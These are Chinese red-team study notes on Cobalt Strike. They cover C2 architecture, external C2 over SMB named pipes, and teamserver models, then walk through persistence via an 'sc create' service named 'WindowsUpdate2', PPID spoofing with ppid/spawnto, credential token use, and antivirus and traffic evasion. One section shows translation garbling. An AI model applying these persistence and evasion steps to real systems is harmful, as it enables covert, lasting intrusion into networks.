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Cobalt Strike 4.0 操作 

 

0x01 前言 
• 本文主要是看了 Cobalt Strike 4.0 Youtube 官方教程第一课【Operations】之

后记的笔记，资源见参考文档。 

• 教程的授课者是 Cobalt Strike 的创造者 Raphael Mudge。可以说没人比他更权

威了。 

• CS 系列教程及手册的好处就在于其中融入了很多红队的思想、策略和模型，

CS 自己的定位也是「缩小渗透测试工具和高级威胁恶意软件之间的差距」这

样一个工具。学习 CS 对了解后渗透帮助颇多。 

• 本文记录的视频对应了 CS 手册的第一章 Operations ，也就是操作。笔记记录

是有选择的，一些基本的 CS 中的东西比如 可拓展 C2、cna 插件、团队服务器，

因为关于这些的基本操作我已经了解了，就没有记。 

闲话不多说，下面进入笔记正文部分。 

0x02 基础概念 

要了解一个领域，就要先了解其领域内的概念范畴。CS 中的一些概念包括： 

• agent agent 的本意为代理。当攻击者通过代码执行，有一个 agent 运行在目

标网络中，就可以对目标网络进行命令与控制。所以 agent 实际上相当于 

Beacon payload。 

• Staging 服务器 在 Cobalt Strike 中，为了获取目标主机的 Beacon shell，必须

先要传送 payload。payload 就是攻击执行的内容。 传递 payload 时候，根据

目标的网络、主机环境，可以选择分阶段传递 payload，也可以不分阶段直接

丢一个 payload。 分阶段传递中，Payload 通常被分为两部分：payload 

stage 和 payload stager。stager 是一个小程序，通常是手工优化的汇编指令，

用于下载一个 payload stage、把它注入内存，然后对其传达执行命令。这个

过程被称为 staging（分阶段）。 staging（分阶段）过程在一些攻击行动中是

必要的。很多攻击中对于能加载进内存并在成功漏洞利用后执行的数据大小存

在严格限制。这会极大地限制你的后渗透选择，除非你分阶段传送你的后渗透 

payload。 在这里的 staging server，其实是指最开始用于传递 payload 的那

台攻击机器。也就是获取初始权限的服务器。所以可想而知此服务器具有以下

特点： 



 

1. 托管客户端的工具，接收来自 Beacon 的初始回复 

2. 可能承担初始的权限提升和下载持久性 payload 等功能 

3. 此服务器有较高暴露风险，可能会被发现、封锁和反制 

0x03 本文要点 
• 有目标攻击的攻击链解析 

• 对 Cobalt Strike 的基本介绍 

• 多团队服务器模型 

• 分布式操作模型 

• Cobalt Strike 的日志和报告功能 

0X04 课程的基本思路 

一场典型的有目标的攻击的四个目标： 



 

 

 

其中 Cobalt Strike 侧重于 后渗透阶段。后渗透即为完成想要在目标网络中达到的目

的的一个攻击步骤。如数据挖掘、监视用户、键盘记录、根据用户活动确定目标机

会等。 

此攻击流程也可以用下图这个 攻击链 来概括： 



 

 

 

这个攻击链和 CS 手册中的章节是对应的： 

1. 操作 

2. 基础设施 

3. C2 

4. 武器化 

5. 初始权限 

6. 后渗透 

7. 权限提升 

8. 横向移动 

9. Pivoting 

– 第一章操作。主要介绍了一些 CS 的基本理念和模型。 

– 第二章基础设置。主要介绍了一些监听器和重定向器的详细配置。 



 

– 第三章 C2。与 C2 通信的时候会面临一些权衡，因为很多行为会导致暴

露，所以在和安全产品对抗的过程中，我们必须在风险和目标之间选择

最适合我们的选项。另外这一章也会讲如何改变 C2 的流量特征。 

– 第四章武器化。讲如何将 payload 与在目标机器上运行的程序相匹配。 

– 第五章初始权限。目标就是获取对目标网络上运行的一个 agent 的控制。 

– 第六章后渗透、第七章权限提升、第八章横向移动、第九章 Pivoting。

这些章节都是围绕着后渗透目标，讲了后渗透的流程及 CS 中的一些攻

击流程和原语。 

在此之外，规避 Evasion 也是一个值得讨论的话题。在本视频中，作者讲了规避的

哲学：首先要明白的一个原则是：决定=风险+回报，每次在 CS 中选择的一个选项，

就会产生一个行为，行为会导致一个事件 event，此事件会有一个行为特征，杀软

或其他安全产品会根据此特征判断行为是否是恶意的。 

所以如何去成功规避呢？ 

• 了解使用的工具及其行为。 比如需要了解 CS 的各个选项及其产生的行为特征

在流量上的体现。 

• 获取和理解目标环境的防御信息。 比如在做免杀测试的时候，有什么测什么，

而不是只看 VT 上过了多少家。意思就是根据对方环境的杀软体系，模拟此环

境来针对性做免杀。 

• 决定要使用的最好的选项。 同样是规避，是一开始就减少流量特征的产生、

还是说伪造流量特征让目标环境中的安全产品判定为非恶意呢。根据决定=风

险+回报的原则选择适合自己目的的选项。 

然后介绍完课程的基本思路之后，就开始讲第一章 Operations 操作，这一章主要

讲四个部分： 

• 对 Cobalt Strike 的基本介绍 

• Cobalt Strike 的合作模型 

• 分布式操作模型 

• Cobalt Strike 的日志和报告功能 

0X05 第一章：操作 

1、对 Cobalt Strike 的基本介绍 

• Cobalt Strike 出生于 2012/06 

• Beacon agent 的功能于 2012/09 被加入 



 

• Cobalt Strike 工具的使命是：缩小渗透测试工具和先进的高级威胁恶意软件之

间的差距。 

Cobalt Strike 的一些基本功能模块： 

Beacon 

• Beacon 是 Cobalt Strike 的 Payload 

• 有两种通信策略（与团队服务器，CS 中以团队服务器作为 C2） 

– 异步式通信 = 频率低、速度慢 

– 交互式通信 = C2 对 Beacon 实时控制 

• 使用 HTTP/S 或 DNS 来出口网络数据 

• 使用 SMB 命名管道或 TCP(sockets) 来进行点对点 C2 通信 

• Beacon 是 CS 的远程管理功能模块 

团队服务器 

启动命令为（必须在 Linux 主机上启动团队服务器）： 

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] 

• [YYYY-MM-DD] 是 Beacon payloads 在此服务器上运行的杀死时间，在此时间后，

Beacon payload 将停止启动。当它下一次醒来时就会离开并清空数据。这是帮

助攻击人员在一次行动后清理 Beacon Payloads 的好工具。 

2、Cobalt Strike 的合作模型 

略。（因为本部分没讲什么重要内容，都是我已知的。） 

3、分布式操作模型（Distrubuted Operations） 

• Cobalt Strike 是为分布式操作而设计的 

• 客户端可以同时连接到多个团队服务器 

– 如 beacon 团队服务器、钓鱼团队服务器、侦查团队服务器、攻击团队服务

器、后渗透团队服务器等多个团队服务器，就是分解整个攻击链 

– 每个团队服务器有单独的数据模型和日志 

• 分布式操作模型可以避免行动中的单点故障/失败，如果仅有一台团队服务器，

那么这一台攻击主机可能会被识别或封锁。 

• 具体操作： 



 

– 连接到多个团队服务器 

• Cobalt Strike → New Connection 

– 关闭到某团队服务器的连接 

• Cobalt Strike → Close 

– 重命名团队服务器标签页 

• [标签页按钮] → Rename 

问：「在一个 CS 客户端中可以连接到多个团队服务器」这样的设计有什么好处？ 

答：好处在于： 

1. 方便团队服务器之间的权限传递 

2. 当连接到多个团队服务器时，Cobalt Strike 可以把所有服务器的数据合并成一

个模型，获取根据时间线的事件排序，方便写报告。 

 

在这里要写一下多团队服务器模型的多种架构： 

1、 最基本的多团队服务器模型： 

 

 

• 注：蓝色闪电代表高风险 

其中，以三种团队服务器的形式来组织和分离基础设施： 

• Staging 服务器 



 

– 获取初始权限的服务器 

– 托管客户端的工具和接收初始回复 

– 承担初始的权限提升和下载持久性程序的功能 

– 这种服务器可能具有明显的网络指标，行为事件易被检测到，可能被防

御者快速发现、具有较高风险 

• 长控服务器 

– 与 Beacon 以慢速度、低频率保持通信 

– 接收持久性的回复，是重回网络的生命线 

– 可能会根据需要传递权限给后渗透服务器 

– 是具有不同流量指标的主机，也可能有不同的工具集 

• 后渗透服务器 

– 后渗透和横向移动 

2、 结合攻击链的多团队服务器模型： 

分解整个攻击链，让不同的团队服务器承担不同的攻击环节和功能： 

如 beacon 团队服务器、钓鱼团队服务器、侦查团队服务器、攻击团队服务器、后渗透

团队服务器等多个团队服务器。 



 

 

 

• 注：蓝色闪电代表高风险 

3、 具有权限管理单元的多团队服务器模型： 

权限管理是一项重要的工作，也是红队应该投入的资源。 

除了多团队服务器来保权限的方案之外，当涉及到多个目标网络时，可以抽象出一

个权限管理的单元来对多个权限做全局的管理和维持。 

可伸缩红队操作模型（scaling red operations）就是这种全局权限管理设想的

实现。 

可伸缩红队操作模型分为两个层次，第一层是针对每一个单个的目标网络的 目标单

元；第二层是对多个目标网络的全局管理层次 权限管理单元： 

• 目标单元 

– 负责特定的某个目标网络 

– 获取权限、后渗透、横向移动 

– 维持本地基础设施的任务 

• 权限管理单元 

– 维持所有目标网络的权限 



 

– 其管理的权限可能是自己获取的，也可能是从目标单元中接收的 

– 按照需求将权限传递给目标单元 

– 维持全局的基础设施，持续的接收回复（与每个权限保持心跳接收） 

根据此模型，红队中需要有以下这些团队角色： 

• 获取权限 

– 主要任务是：武器化的获取初始权限 

– 横向移动，获取&拓展立足点 

• 后渗透 

– 主要任务是：完成想要在目标网络中达到的目的 

– 数据挖掘、监视用户、键盘记录、根据用户活动确定目标机会等 

• 本地权限管理员（单个目标网络） 

– 管理来自被控目标的回复 

– 准备基础设施 

– 持久性 

– 与全局权限管理员之间进行会话的传递和接收 

• 全局权限管理员（多目标网络的情况下） 

– 对所有 shell 进行管理和保护 

– 建立、配置长控服务器和后渗透服务器 

– 管理长控团队服务器主机，并观察其回复的健康状况 

– 将持久性和防御策略（行为安全）委托给本地权限管理员 

所以此时抽象出权限管理单元的多团队服务器模型的示意图为： 



 

 

 

 

4、Cobalt Strike 的日志和报告功能 

日志： 

Cobalt Strike 中的日志记录工具： logs 



 

 

 

• 以格式化的日志形式记录了所有发生在 Cobalt Strike 团队服务器上的事件。 

• 包括击键记录、截图记录、会话内容、上传文件的哈希、beacon payload 的输

出等。 

报告： 

• 当连接到多个团队服务器时，Cobalt Strike 可以把所有服务器的数据合并成一

个模型，获取根据时间线的事件排序，可以导出一份综合的报告。 

• 主要的一些可以导出的报告类型为； 

– IoC 指标报告（类似于一些 APT 报告）。 

– 活动报告。有一个基于时间表的活动，讲述了 when、where、why。 

– 会话报告。按主机单独组织 

– TTP 报告。基于 MITRE 框架下的 CS 活动（策略+事件+缓解+监测） 

 

参考文档： 



 

[1] Youtube 视频 - Red Team Ops with Cobalt Strike (1 of 9): Operations，Youtube，
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Cobalt Strike 外部 C2【原理篇】 

0x01 什么是外部 C2？ 

C2 就是 Command & Control Server 的简称，也就是命令与控制服务器。 

如下图是 C2 的大致通信模型。实现 C2 通信有时候很难，因为出口防火墙规则限

制或进程限制。 

 

 

Cobalt Strike 的团队服务器其实也是一种 C2 服务器。CS 的客户端相当于上面的

「客户端」，CS 的团队服务器相当于上面的「攻击者的 C2」。另外 CS 中，团队

服务器会将要执行 的任何动作都以计划任务列表的形式进行管理，也就是说，在

不考虑通信协议的前提下，CS 中的 C2 通信流程大概为： 

1. 通过 CS 客户端发送到团队服务器的任何动作都会被弄成计划任务的形式依次

排队（这也就是 beacon 内置的那个 job 命令存在的实际意义）； 

2. 而后等着目标机器上的负载（payload）来下载这些计划任务列表中的具体指

令去目标机器上执行； 

3. 随后再依次把执行完的结果回传给 CS 团队服务器，团队服务器再回显至 CS 客

户端。 



 

现在的 Cobalt Strike （4.0 版本之前）中，比较常用的 C2 通信方式是使用反向 

shell 和反向 HTTP C2 通道。然而随着时间和防御水平的提高，这种「传统方法」

势必会越来越难以生效。 

 

 

在这种情况下，势必需要一些实现 C2 通信的替代方法，外部 C2 就是这样的一种

方法。 

在 Cobalt Strike 4.0 中，对监听器类型做了扩充，直接加入了外部 C2 的 Payload 选

项。 

 

 



 

但其实，外部 C2 并非 CS 4.0 才有。之前的 Cobalt Strike 版本中（外部 C2 是自 

Cobalt Strike 3.6 引入的功能），也一直有提供外部 C2 接口、允许第三方程序充当 

Cobalt Strike 与其 Beacon payload 之间的通信层。只是没有直接在监听器这里加入

这种 Payload 选项。 

外部 C2 也不仅仅是 Cobalt Strike 才有，一些框架都会提供外部 C2 的方法，比如 

MSF。 

总之，我们看到了未来的方向：基于但不限于框架、使用多种方法、拓展协议实现 

C2 通信。 

0x02 外部 C2 的通信模型 

外部 C2 系统是用于实现 C2 通信的一种规范。那么外部 C2 是如何实现 C2 通信的

呢？ 

上面已经谈到，CS 的原始通信架构是这样的： 

 

 

Cobalt Strike 的外部 C2 接口允许第三方程序充当 Cobalt Strike 与其 Beacon 

payload 之间的通信层。那么加上外部 C2，CS 的 C2 通信架构就变成了这样： 



 

 

 

其实，接口就是一个函数方法。CS 允许用户在遵循外部 C2 规范的前提下，使用此

接口定义自己的外部 C2 协议。 

那么这个外部 C2 本身的实现是怎么样的呢？CS 的外部 C2 规范文档规定： 

• 外部 C2 系统由第三方控制器、第三方客户端和由 Cobalt Strike 提供的外部 C2 

服务三部分组成。 

• 第三方客户端和第三方控制服务器是独立于 Cobalt Strike 外部的组件。第三方可

以用他们选择的语言来开发这两个组件。 

• 外部 C2 服务是第三方程序与你的 CS 团队服务器之间交互的地方。 

所以我们可以得出信息：外部 C2 也是 C/S 架构的。 

总结来说，外部 C2 本身的具体实现如下： 



 

 

 

在 CS 4.0 中， 

 

 

这个 External C2 payload，其实是在定义 CS 团队服务器的外部 C2 服务接口，这

个选项只是方便建立接口本身，规定在哪一个端口上开 CS 的外部 C2 服务器。 



 

于是把外部 C2 系统与 CS 通信架构结合起来，最终的使用外部 C2 的 CS 通信架构

图就是这样的： 

 

 

0x03 拓展知识：SMB Beacon 与命名管道 

注意到上图中 第三方客户端 与 Beacon 直接通过 name pipe 通信。下图中的名称管

道（name pipe）有的地方翻译为 命名管道。 



 

 

 

既然是通过 命名管道 通信，那么一定是 SMB Beacon。 

下面这一部分参考自 @Rcoil 大佬的文章：【知识回顾】命名管道 

SMB Beacon 命名管道 payload 适用于什么样的通信场景呢？ 

假设这样一个场景： 

在 Windows 环境中，无管理员权限的情况下，对已获取权限的机器上使

用 ncat 反弹一个 shell，但是遭到防火墙或反病毒程序的阻拦。 那么实际

上就是 reverse_tcp 被防火墙拦了。那么肯定 reverse_http、

reverse_https 都走不通了。 

之所以被拦是因为： 在 Windows 中，当尝试使用 Bind() 绑定一个 TCP 

Socket 时，Defender 会弹窗提示是否允许此程序进行网络连接，只有用

户点击允许访问才可放行。当然，如果我们拥有管理员权限，可以将此程

序添加到白名单中，允许连接。但我们这里使用的普通用户权限，是无法

添加修改防火墙规则的。所以当无权限进行修改时，注定会弹窗提示，也

意味着我们的此攻击操作注定失败。 也就是说实际上，目标机器上发生

https://rcoil.me/2019/11/【知识回顾】命名管道/


 

了这个弹窗： 

 

在这种情况下，如何回连 C2 服务器呢？ 

这就是 SMB 协议的适用场景了。 

在 Windows 中，防火墙通常默认允许 SMB 协议出入站，因此，如果有什么功能或

机制可以用于与外部机器进行通信的，SMB 协议无疑是一种很好的选择。而命名

管道 就是基于 SMB 协议进行通信的，所以我们可以基于命名管道与外部机器进行

通信，从而建立控制通道。 

命名管道（也就是传说中的 IPC）是一种简单基于 SMB 协议的进程间通信

（Internet Process Connection - IPC）机制。在计算机编程里，命名管道可在同一

台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间，支持可

靠的、单向或双向的数据通信传输。 

和一般的管道不同，命名管道可以被不同进程以不同的方式方法调用（可以跨语言、

跨平台）。只要程序知道命名管道的名字，任何进程都可以通过该名字打开管道的

另一端，根据给定的权限和服务器进程通信。 

默认情况下，我们无法使用命名管道来控制计算机通信，但是微软提供了很多种 

Windows API 函数，例如： 

• 用于实例化命名管道的服务器端函数是 CreateNamedPipe 

• 接受连接的服务器端功能是 ConnectNamedPipe 

• 客户端进程通过使用 CreateFile 或 CallNamedPipe 函数连接到命名管道 



 

在本文中，只探讨原理，所以不会去拓展到如何具体实现通过 Windows API 编写

程序来实现两台机器直接的数据传输。 

要注意的是： 

下图是 @Rcoll 自己编写的命令执行的 SMB 命名管道通道的 C/S 两端连接的截图： 

 

 

可以看到，第一次从本地主机运行客户端尝试连接到远程主机的服务端，因为没有

登录，所以连接失败。第二次先使用 net use 账号 登录之后，才连接上。 

在 Cobalt Strike 中如何使用 SMB Beacon 的 payload 呢？ 

Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。SMB 

Beacon 使用命名管道通过父 Beacon 进行通信。这种点对点的通信对于在同一台主

机上的 Beacon 生效。它也可以在整个网络上运行。 



 

 

 

Cobalt Strike 的监听器提供 SMB Beacon 命名管道 payload。 

CS 3.14 中的 SMB Beacon： 

 

 

CS 4.0 中的 SMB Beacon： 



 

 

 

从 Beacon 控制台，可以使用 link [host] [pipe] 来把当前的 Beacon 链接到一个

等待连接的 SMB Beacon。当当前的 Beacon 登入，它的链接的点也会登入。 

为了与正常流量融合，链接的 Beacon 使用 Windows 命名管道进行通信。这个流

量封装在 SMB 协议中。此方法有一些限制： 

1. 具有 SMB Beacon 的主机必须在端口 445 上接受连接。 

2. 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。 

就如上面说到的 SMB 命名管道连接需要先用账号密码进行用户登录，因为它也是

需要权限的。要连接 smb beacon，也是看当前操作的 beacon 的权限。 

如果在尝试去连接到一个 Beacon 之后得到一个 error 5（权限拒绝），这就是权限

不够的表现。解决方法是窃取域用户的 token （令牌）或使用 make_token 

DOMAIN\user password 来使用对于目标的有效凭据来填充当前 token（令牌）。然

后再次尝试去 link 到 Beacon。 

make_token 实际上使用了 LogonUserA() 函数，相当于赋予了当前程序这个 token 

权限。 注：LogonUserA()函数参考：【渗透技巧】SCshell 技术细节 

上面主要是介绍了命名管道作为 C2 信道，通讯执行命令的功能。 

进一步拓展的话，通过 SMB 协议绕过防火墙建立 C2 信道可以作为本地权限提升漏

洞的利用链中的一步。 

进一步可以利用命名管道的模拟客户端功能来获取 system 权限，MSF 的 

getsystem 功能就是通过此方法实现的。 

把话题稍微拉回来，SMB 命名管道与外部 C2 的关系是：在加了外部 C2 的 CS 通信

架构中，目标机器上的 Beacon payload 与外部 C2 系统中的第三方客户端之间是通

过 SMB 命名管道来建立 C2 信道的。这也是我们整个 C2 通信中的一环： 

https://rcoil.me/2019/12/【渗透技巧】SCshell%20技术细节/


 

 

 

0x04 为什么需要外部 C2？ 

本身，自定义 C2 通道可以拓展协议，这样自然可以解决一些 C2 流量出口的问题

（绕过防火墙或者进程限制）。 



 

使用 SMB Beacon，当 payload 成功执行之后，由第三方客户端完全接管与 Beacon 

的交互。所有与 Beacon 后续的交互，最终均是对命名管道的读写。命名管道可以

直接作为文件来读写，多数脚本语言都支持该功能。这样就有很多发挥的空间。 

另外，还有一个功能是使得 C2 流量充分融合进正常流量。要理解这一点可以从 CS 

的 Malleable C2 Profile 功能说起。 

熟悉 CS 的人都知道 CS 的 C2 profile 是可拓展的。 

也就是说，通过加载自定义 C2 profile，我们可以伪装流量，让通讯更加隐蔽和控

制其行为的一种方式。 

./teamserver [团队服务器的 IP] [password] [c2 profile] 

原始通信报文： 

 

 

使用 C2 profile 伪装的通信报文： 

 

 

一些可拓展 C2 profile 项目让我们可以把流量伪装成 APT 组织、恶意软件或其他的

普通应用的流量： 



 

 

 

在下图中，可以使用 C2 profile 把流量伪装成 gmail、onedrive 等应用的流量。别

的项目中也见过可以伪装为 Office 365 的。 

 

 

这样可以让 C2 的流量融合进正常应用流量中。 



 

外部 C2 也可以达到让 C2 的通信流量融合进正常应用流量中这个结果，但是不是

伪装，因为它是真正实现了自己的通信渠道。 

通过实现自己的通信渠道，可以拓展通信协议、提供工具集本身不支持的通信方

法。在 Cobalt Strike 的特定场景中 —— Beacon 可以通过 HTTP/S 和 DNS 协议出口 

C2 流量；并通过 SMB 的命名管道和 TCP socket 链接到其他的 Beacon 。 

外部 C2 规范允许将 Beacon 的通信（回连团队服务器或连接到其他 Beacon）方式

拓展到几乎任何需要的方式。 

任何需要的方式包括： 

• 通过 Office 365 进行 C2 通信 

• 通过文件分享进行 C2 通信 

• 通过活动目录进行 C2 通信 

• 通过 RDP、WinRM 或 WMI 进行 C2 通信 

• …… 

这样自定义 C2 通信渠道有什么好处呢？ 

通过合法服务（例如 Office 365、Google 云端硬盘、Dropbox、Slack或其他任何

服务）出口 C2 流量，可以使得 C2 流量充分融合到正常流量，尤其是如果你的目

标使用这些服务作为其日常业务的一部分时。在某些情况下，你甚至可以通过目标

自己的应用传输 C2 流量，例如通过他们自己的 OneDrive 传输 C2 数据。 

通过文件共享、活动目录或任何可以被写入/读取的应用进行的内网 C2 通信也很

难被检测到，这也有助于绕过不同类型的防火墙限制。 

比起来，可拓展 C2 的好处就是配置简单，外部 C2 的好处是隐蔽性更好、绕防火

墙等限制的效果更好，可以拓展协议，但是实现起来比较难。 

 

参考文档： 

SMB & 命名管道部分： 

• 【知识回顾】命名管道 

• Windows 命名管道研究初探 

• 【知识回顾】深入了解 PsExec 

• 【渗透技巧】SCshell 技术细节 

https://rcoil.me/2019/11/【知识回顾】命名管道/
https://www.anquanke.com/post/id/190207#h2-0
https://rcoil.me/2019/08/【知识回顾】深入了解%20PsExec/
https://rcoil.me/2019/12/【渗透技巧】SCshell%20技术细节/


 

@Rcoil 大佬的文章真的写的非常好，另外也感谢 @Rcoil 大佬的耐心指导，不胜感

激~ 

外部 C2 部分： 

• Cobalt Strike External Command and Control Specification 

• 利用 External C2 让内网机器在 Cobalt Strike 中上线 

• External C2 

• External C2 (Third-party Command and Control) 

• Rvn0xsy/Cooolis-ms 

• 当然还有必不可少的 @Klion 的 Cobalt Strike 系列（非公开故不列文章名了） 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.cobaltstrike.com/downloads/externalc2spec.pdf
https://blog.hl0rey.com/2019/09/06/利用External-C2让内网机器在Cobalt-Strike中上线/
https://wbglil.gitbooks.io/cobalt-strike/cobalt-strikekuo-zhan/external-c2.html
https://www.cobaltstrike.com/help-externalc2
https://github.com/Rvn0xsy/Cooolis-ms


 

Cobalt Strike 桌面控制问题的解决 

0x01「Cobalt Strike 中的桌面控制功能」概述 

在钴打击中，在获取目标机器的信标外壳的前提下，要与目标主机上的桌面交互，

通过[beacon]→交通 Explore→交通 Desktop(VNC)。这会将一个 VNC 服务器转入

当前进程的内存中并通过信标对连接建立隧道。 

当 VNC 服务器准备就绪时，Cobalt Strike 会打开一个标签为 Desktop HOST@PID 的

标签页。 

也可以使用 Beacon 的 desktop 命令来将一个 VNC 服务器注入一个特定的进程。

使用 desktop pid 架构 low|high 命令。最后一个参数用于指定 VNC 会话的画质。 

0x02 问题描述 

环境： 

• 目标系统为 Windows 10，上面有 360（ZhuDongFangYu.exe）杀软。 

• 钴罢工 3.14 非试用版 

通过选项卡 Desktop (VNC)选项无法打开桌面标签页： 

 

 

 

 

 

 



 

 

 

可以看到在团队服务器的 7609 端口派生了一个 VNC 服务器，但是与 VNC 服务器

的连接没有响应。 

尝试的一些思路是： 

1，查看 VNC 的 DLL 是不是存在： 

在 Cobalt Strike 团队服务器上确认存在： 

 

 

2，查看团队服务器的 7609 扩展是否开放： 

 

 

看起来就是此服务，那也不是端口的问题。 

0x03 问题解决 

解决方案就是： 

参考了使用键盘记录和截屏工具的思路，把 Desktop（VNC）工具注入到

explorer.exe 进程中，这样回来一个会话，即用此会话去开 VNC Desktop。 

具体命令： 

在 Beacon 控制台中， 

desktop [explorer pid] x86|x64 low|high 

注： 



 

• low|high 控制截屏画质。 

操作实例： 

 

 

 

 



 

 

 

注意： 

有时候也会有这种情况，就是用户存在，没登录进去，一个标志就是没有

winlogon.exe： 

 

 

这种情况下，键盘记录，截屏，VNC 桌面等这些后渗透工具都用不了。 

不过我这里肯定不是这种情况，因为我这里 explorer.exe，winlogon.exe 这两个

进程都存在。 

只有用户登陆了，才会有 explorer.exe，winlogon.exe 这两个进程。 

一个题外话： 如果进入桌面标签页无法键入，检查桌面底部按钮的状态，也要确

保 View only 没有被点击。有时情况下，为了阻止操作者意外的移动鼠标，View 

only 被按下按了。 

另外，实际进行功能的测试中，连续卡顿严重严重，据称 Cobalt Strike 的是此桌

面 VNC 功能不是太好用，特别是在目标系统为 Windows 10 时。那么这种情况下

一般就是转发 3389，直接 mstsc。 



 

 

参考文档： 

1. Cobalt Strike manual 4.0，Cobalt Strike 官网 

2. 感谢我的同事@L.N.的指点，感谢@Beli1v1参与讨论 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.cobaltstrike.com/downloads/csmanual40.pdf


 

Cobalt Strike 团队服务器隐匿 

大致思路如下： 

 

 

根据具体网络情况可做增删。 

 



 

Cobalt Strike 中的权限维持和团队服务器之间的会话传递 

0x01 权限维持 

当目标机器重启之后，驻留在 cmd.exe、powershell.exe 等进程中的 Beacon 

payload 就会掉，导致我们的 Beacon Shell 掉线。 

可以通过 IFEO、启动项、服务等方式进行权限维持，这样机器重启之后 Beacon 

Shell 还会在。 

本文中通过一个 Github 上的 Cobalt Strike 后渗透测试插件 Erebus 以服务的方式进

行权限维持操作。 

https://github.com/DeEpinGh0st/Erebus 

前提： 

Beacon Shell 必须是高权限，不然通过 SC 命令加服务的话不会成功。 

第一步：加载 cna 脚本 

Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna 

第二步：生成 Payload 可执行文件 

Attacks` → `Packages` → `Windows Executable(S)  



 

 

 

保存为 xiaoxue.exe。 

• Stage 的地方填团队服务器上的 reverse_http 监听器 

第三步：上传 payload 可执行文件至目标主机 

通过 Cobalt Strike 的 File Browser 进行上传。 



 

 

 

 

 

• 这里要注意：首先上传的文件路径最好没有空格，不然可能会导致错误；其次

最好上传至彩色（不是灰色的）的文件夹路径下。 

第四步：通过插件添加服务 



 

 

 

 

 



 

 

 

然后就通过 SC 命令把此 xiaoxue.exe 添加进了开机启动项，从而初始了一个权限

为 SYSTEM 的 Beacon。 

其效果等同于在 Beacon 控制台中输入： 

shell sc create "WindowsUpdate2" binpath= "cmd /c start "C:\Windows\sys
tem32\xiaoxue.exe""&&sc config "WindowsUpdate2" start= auto&&net start 
 WindowsUpdate2 

同样会上线一个 Beacon Shell： 

 

 



 

 

 

注意一定不要在普通用户权限下添加服务，否则不会成功： 

 

 

第五步：重启目标机器测试 Beacon 留存 

 

 

的确只剩下这两个 Beacon。 

0x02 在团队服务器之间传递 Beacon Shell 

第一步：准备工作 —— 把 Beacon 转移到更安全的进程上 



 

 

 

当前 Beacon 开在 powershell.exe 上。但是此进程比较敏感，开在此进程上不是

很安全，所以换一个进程注入。 

选择 jusched.exe（Java 更新程序），然后注入： 

 

 

然后我们就会得到一个弹回的开在 jusched.exe 上的 Beacon Shell： 



 

 

 

然后把原来那个开在 powershell.exe 上的进程 Exit、Remove 即可。 

第二步：准备工作—— PPID 欺骗和指定临时进程派生新会话 

 

 

目标是把 144.*.*.70 这台团队服务器的 Beacon Shell 传递到 52.*.*.108 这台团队

服务器上。 

父进程标识符（PPID）欺骗是相当吸引人的技术，因为它使得能够以不

同的父进程 ID 恶意应用程序以生成新的流程。从那时起，它就被广泛用

于隐藏恶意软件，尤其是在需要某种持久性的情况下。 



 

The Parent Process Identifier (PPID) Spoofing is a quite fascinating 
technique since it enables malicious applications to spawn new processes 
under a different parent process ID. It is been used in the wild since ever to 
hide malware, especially when some kind of persistence is required. Let’s 
see together how to implement this capability into the Meterpreter agent. 

引自：Meterpreter+PPID Spoofing-Blending into the Target Environment，
lsh4ck 

要传递的 Beacon Shell 当前运行在 jusched.exe 上，此进程除了本身的一个子进程，

一般不会有别的子进程。所以我想把子进程开在 chrome.exe 进程下，比较不引人

注目。使用 ppid 命令将 chrome.exe 设为父进程： 

 

 

使用 chrome 的 64 位子进程来作为临时进程用于派生会话： 

https://mp.weixin.qq.com/s/RfZZXqttSWN4A4DmG82UDA


 

 

 

 

 

注：使用 spawn 命令来为监听器派生会话，spawn 命令接受两个参数，第

一个是位数（x86 或 x64），第二个参数是监听器。 默认情况下，spawn 

命令会在 rundll32.exe 中派生会话。但是这样（rundll32.exe 定期与 

Internet 建立连接这种异常现象）可能会引起管理员注意，所以为了更好

的隐蔽性，可以使用更适合的程序如 Internet Explorer 来进行会话派

生。 

使用 spawnto 命令来说明在派生新会话时候使用哪个程序。此命令第一个

参数是位数，第二个参数是用于派生会话的程序的完整路径。也就是文中

的 spawnto x64 C:\Program Files 

(x86)\Google\Chrome\Application\chrome.exe 这个命令。 

第三步：把会话传递到另一台团队服务器上 

在新的团队服务器 52.*.*.108 下新建 reverse_http 监听器： 



 

 

 

在 144.*.*.70 这台团队服务器上欲传递的 Beacon 上右键 → Spawn，选择刚刚创建

的监听器： 

 

 

这个操作等同于 spawn [监听器名]： 

spawn new-team-server 

然后回到新的团队服务器下，会发现会话已经传递过来了： 



 

 

 

查看 Process List 发现此会话进程的确是作为 chrome.exe 的子进程运行的，但是

将新派生会话到 chrome.exe 的子进程中失败了，而是开了一个默认的 

rundll32.exe。其实这里一般是用 iexplore.exe 的 x86 子进程作为派生会话的临

时进程（使用 spawn x86 c:\program files (x86)\internet 

explorer\iexplore.exe 命令）。之所以使用 x86 子进程，是为了跟 x64 位父进程

区分开来。 

但是本文中我使用了 spawnto x64 C:\Program Files 

(x86)\Google\Chrome\Application\chrome.exe 这个命令，所以就没有跟 

chrome.exe 父进程区分开来。因而其实使用的是 chrome.exe 父进程派生会话，而

没有使用其子进程派生会话，所以最终的新会话开在了 spawnto 命令默认使用的 

rundll32.exe 程序上。 



 

 

 

总结： 

将一台团队服务器上的 Beacon 传递到另一台团队服务器，最精简的步骤为： 

1. New Connection 连接到新的团队服务器上。 

2. 在新的团队服务器上开监听自身的 reverse_http 监听器。 

3. 在旧的团队服务器上，[Beacon] → spawn → 选择第二步中开的监听器。 

4. 会话传递成功，可在新的团队服务器中查看。 

其中，可以在旧的团队服务器上通过 ppid 命令指定会话的父进程，也可以通过 

spawnto 命令指定用于派生欲传递会话的进程（默认是 rundll32.exe，推荐 

c:\program files (x86)\internet explorer\iexplore.exe）。 

 



 

参考文档： 

[1] Youtube 视频 - Session Prepping and Session Passing (Cobalt Strike 4.0)，

Youtube，Raphael Mudge [2] Meterpreter+PPID Spoofing-Blending into the Target 

Environment，「靶机狂魔」公众号，lsh4ck，2020 年 2 月 10 日 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.youtube.com/watch?v=4xnBn5ZVkKE
https://mp.weixin.qq.com/s/RfZZXqttSWN4A4DmG82UDA
